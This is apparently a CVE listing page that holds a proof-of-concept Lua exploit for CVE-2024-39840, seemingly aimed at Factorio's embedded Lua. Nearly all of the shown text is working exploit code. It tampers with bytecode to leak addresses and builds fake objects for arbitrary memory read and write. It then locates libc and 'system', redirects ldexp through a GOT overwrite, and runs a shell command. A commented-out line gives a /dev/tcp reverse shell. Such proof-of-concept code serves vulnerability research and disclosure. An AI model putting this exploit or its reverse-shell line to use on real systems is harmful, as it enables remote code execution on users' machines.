4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2024-39840. The file may not exist in the repository.
POC / exp.lua LUA


function main()
bits_table = {5e-324, 1e-323, 2e-323, 4e-323, 8e-323, 1.6e-322, 3.16e-322, 6.3e-322, 1.265e-321, 2.53e-321, 5.06e-321, 1.012e-320, 2.0237e-320, 4.0474e-320, 8.095e-320, 1.61895e-319, 3.2379e-319, 6.4758e-319, 1.295163e-318, 2.590327e-318, 5.180654e-318, 1.036131e-317, 2.0722615e-317, 4.144523e-317, 8.289046e-317, 1.6578092e-316, 3.3156184e-316, 6.63123685e-316, 1.32624737e-315, 2.65249474e-315, 5.304989477e-315, 1.0609978955e-314, 2.121995791e-314, 4.243991582e-314, 8.487983164e-314, 1.69759663277e-313, 3.39519326554e-313, 6.7903865311e-313, 1.35807730622e-312, 2.716154612436e-312, 5.43230922487e-312, 1.086461844974e-311, 2.1729236899484e-311, 4.345847379897e-311, 8.691694759794e-311, 1.73833895195875e-310, 3.4766779039175e-310, 6.953355807835e-310, 1.390671161567e-309, 2.781342323134e-309, 5.562684646268003e-309, 1.1125369292536007e-308}

-- the normal one does not work with libtrio since it has precision errors
-- which factorio also includes
-- only works for denormalized numbers but it doesnt really matter since we are only using this to leak addresses
function double_to_number_trio(double)
    local cur = double
    local bin_str = ''
    -- remember: 1 indexed tables!
    for i=52,1,-1 do 
        cur_bit = bits_table[i]
        if cur >= cur_bit then
            cur = cur - cur_bit
            bin_str = bin_str .. '1'
        else
            bin_str = bin_str .. '0'
        end
    end
    return tonumber(bin_str, 2)
end

function integer_to_double(integer)
    return integer * 2^-1074
end

function print_ptr(ptr_val) 
    print(string.format("Pointer: 0x%x", ptr_val))
end

-- Utils
local function p64(n) -- 64bit number to str
    local t = {}
    for i = 1, 8 do
        local b = n % 256
        t[i] = string.char(b)
        n = (n - b) / 256
    end
    return table.concat(t)
end

local function p32(n) -- 32bit number to str
    local t = {}
    for i = 1, 4 do
        local b = n % 256
        t[i] = string.char(b)
        n = (n - b) / 256
    end
    return table.concat(t)
end

local function u64(s)
    assert(#s == 8, "u64 expects exactly 8 bytes")
    local n = 0
    for i = 8, 1, -1 do
        n = n * 256 + s:byte(i)
    end
    return n
end

local function u32(s)
    assert(#s == 4, "u32 expects exactly 4 bytes")
    local n = 0
    for i = 4, 1, -1 do
        n = n * 256 + s:byte(i)
    end
    return n
end




asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\x61\0\0\x80", "\x17\0\0\128"))

function addr_of(v)
    leak = double_to_number_trio(asnum(v))
    return leak
end


function make_fake_obj(addr, type_v)
fakeTValueArray = p64(addr) .. p64(type_v)
fakeProto = p64(0x0) .. p64(0x0) .. p64(0x0) .. p64(addr_of(fakeTValueArray) + 32)

fakeClosure = p64(addr_of(fakeProto) + 32)
craft_object = string.dump(function(closure)
  local target
  return (function(closure) -- [1] target points to this function LClosure
    (function(closure)
      -- [2] The inner function overwrites the outer function LClosure
      target = closure
    end)(closure)
    -- [3] The LOADK opcode reads the constant
    -- from our fake LCLosure array of constants,
    -- so instead of 42 this returns our fake object
    return 42
  -- We need to return an additional value to prevent a TAILCALL
  -- that would mess up with the Call frame
  end)(closure), 1337
end)
-- Replace the stack index of target upval to point to the LCLosure
-- of the first function
craft_object = craft_object:gsub("(target\x00\x01\x00\x00\x00\x01)\x01", "%1\x02", 1)
craft_object = load(craft_object)
return craft_object(fakeClosure)
end

fake_str = p64(0x0) .. p64(0x0) .. p64(0)..p64(0x1337)
print_ptr(addr_of(fake_str))
read_primitive = make_fake_obj(addr_of(fake_str) + 32, 4)

function read(fake_string, addr, size)
  -- First we calculate if the address is reachable from our position
  local relative_addr = addr - (addr_of(fake_string) + 23 + 8)

  if relative_addr < 0 then
      print("[-] Cannot read from " .. addr)
      return
  end

  -- Then we obtain the part of the string where the data is located
  return fake_string:sub(relative_addr, relative_addr + size - 1)
end

write_primitive = string.dump(function(closure, value)
  local target
  (function(closure, value) -- [1] target points to this function LClosure
    (function(closure)
      -- [2] The inner function overwrites the outer function LClosure
      target = closure
    end)(closure)
    -- [3] Target now points to the address we want to write to.
    -- Changing its value means writting a TValue in that address
    target = value
  end)(closure, value)
end)
write_primitive = write_primitive:gsub("(target\x00\x01\x00\x00\x00\x01)\x02", "%1\x03", 1)
write_primitive = load(write_primitive)



function write(addr, value)
  -- Encode double as an integer
  value = integer_to_double(value)

  -- The Fake Upval points to the destination of the write
  fakeUpVal = "AAAABBBBCCCCDDDDEEEEFFFF".. p64(addr) -- next/tt/marked + v

  -- Fake closure that we use to overwrite the real closure
  fakeClosure = p64(addr_of("MemoryCorruption")) .. p64(addr_of(fakeUpVal) + 32) -- proto + upvals

  write_primitive(fakeClosure, value)
end


--target_off = 0x289fb80

--little bit of space after this part
target_off = 0x289ddc0
execv_got_off = 0x28A02B0

--write a fake string here
write(target_off, 0)
write(target_off + 8, 0)
write(target_off + 16, 0)
write(target_off + 24, 0xffffffffffff)


binsh_off = target_off + 32

--sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"

command = "sh -c 'kcalc &'"
for i = 1, #command do
    local num = string.byte(command, i)
    --print(num)
    write(binsh_off - 1 + i, num)
end



ldexp_off = 0x28A0B90
malloc_off = 0x289FD60



fake_str_got = make_fake_obj(target_off, 4)
print_ptr(addr_of(fake_str_got))

execv_leak = read(fake_str_got, execv_got_off, 8)
malloc_leak = read(fake_str_got, malloc_off, 8)



print(execv_leak)
execv_ptr = u64(execv_leak)

--guarenteed to be resolved
malloc_ptr = u64(malloc_leak)

libc_masked = malloc_ptr - malloc_ptr % 0x1000


--elf header 0x7F454C46
elf_head = 0x464c457f

while true do
    cur_leak_data = read(fake_str_got, libc_masked, 4)
    if cur_leak_data  == nil then return end
    cur_leak = u32(cur_leak_data)


    if cur_leak == elf_head then
        break
    end
    libc_masked = libc_masked - 0x1000
    --break
end
print("found libc base")
print_ptr(libc_masked)



--todo: change
system_pos = 0x53400


local function libc_read_bytes(offset, size)
    return read(fake_str_got, offset + libc_masked, size)
end


local function u32le(s)
    local a, b, c, d = s:byte(1, 4)
    return a + b*0x100 + c*0x10000 + d*0x1000000
end

local function u16le(s)
    local a, b = s:byte(1, 2)
    return a + b * 0x100
end

local function u64le(s)
    local lo = u32le(s:sub(1, 4))
    local hi = u32le(s:sub(5, 8))
    return hi * 0x100000000 + lo
end

local function find_dynsym_va(symbol_name)
    -- Step 1: ELF header is always at the base of the mapping
    local elf_hdr = libc_read_bytes(0, 64)
    local e_phoff     = u64le(elf_hdr:sub(0x20+1, 0x28))
    local e_phentsize = u16le(elf_hdr:sub(0x36+1, 0x36+2))
    local e_phnum     = u16le(elf_hdr:sub(0x38+1, 0x38+2))

    -- Step 2: Scan program headers for PT_DYNAMIC
    local dyn_va
    for i = 0, e_phnum - 1 do
        local ph = libc_read_bytes(e_phoff + i * e_phentsize, e_phentsize)
        local p_type = u32le(ph:sub(1, 4))
        if p_type == 2 then -- PT_DYNAMIC
            dyn_va = u64le(ph:sub(17, 24)) -- p_vaddr
            break
        end
    end
    assert(dyn_va, "PT_DYNAMIC not found")
    print_ptr(dyn_va)

    -- Step 3: Parse DYNAMIC entries to find DT_SYMTAB, DT_STRTAB, DT_SYMENT
    local dynsym_va, dynstr_va, syment_size
    for i = 0, 256 do
        local entry = libc_read_bytes(dyn_va + i * 16, 16)
        local tag = u64le(entry:sub(1, 8))
        local val = u64le(entry:sub(9, 16))
        if tag == 0 then break end -- DT_NULL
        if tag == 6 then dynsym_va = val end  -- DT_SYMTAB
        if tag == 5 then dynstr_va = val end  -- DT_STRTAB
        if tag == 11 then syment_size = val end -- DT_SYMENT
    end
    dynsym_va = dynsym_va - libc_masked
    dynstr_va = dynstr_va - libc_masked

    assert(dynsym_va and dynstr_va and syment_size, "Missing DT_SYMTAB/STRTAB/SYMENT")
    print_ptr(dynsym_va)
    print_ptr(dynstr_va)
    print_ptr(syment_size)

    -- Step 4: Iterate dynsym
    for i = 0, 10000 do
        local sym = libc_read_bytes(dynsym_va + i * syment_size, syment_size)
        local st_name  = u32le(sym:sub(1, 4))
        local st_value = u64le(sym:sub(9, 16))  -- offset 8 in Elf64_Sym

        -- Read symbol name from dynstr
        local name = ""
        for j = 0, 255 do
            local c = libc_read_bytes(dynstr_va + st_name + j, 1)
            if c == "\0" then break end
            name = name .. c
        end

        if name == symbol_name then
            return st_value -- this is a real virtual address in libc
        end
    end

    return nil -- not found
end

-- Example usage:
local va = find_dynsym_va("system")
if va then
    print(string.format("Symbol 'system' found at VA: 0x%X", va))
else
    print("Symbol not found.")
end

write(ldexp_off, libc_masked + va)



math.ldexp(0, binsh_off)


end

main()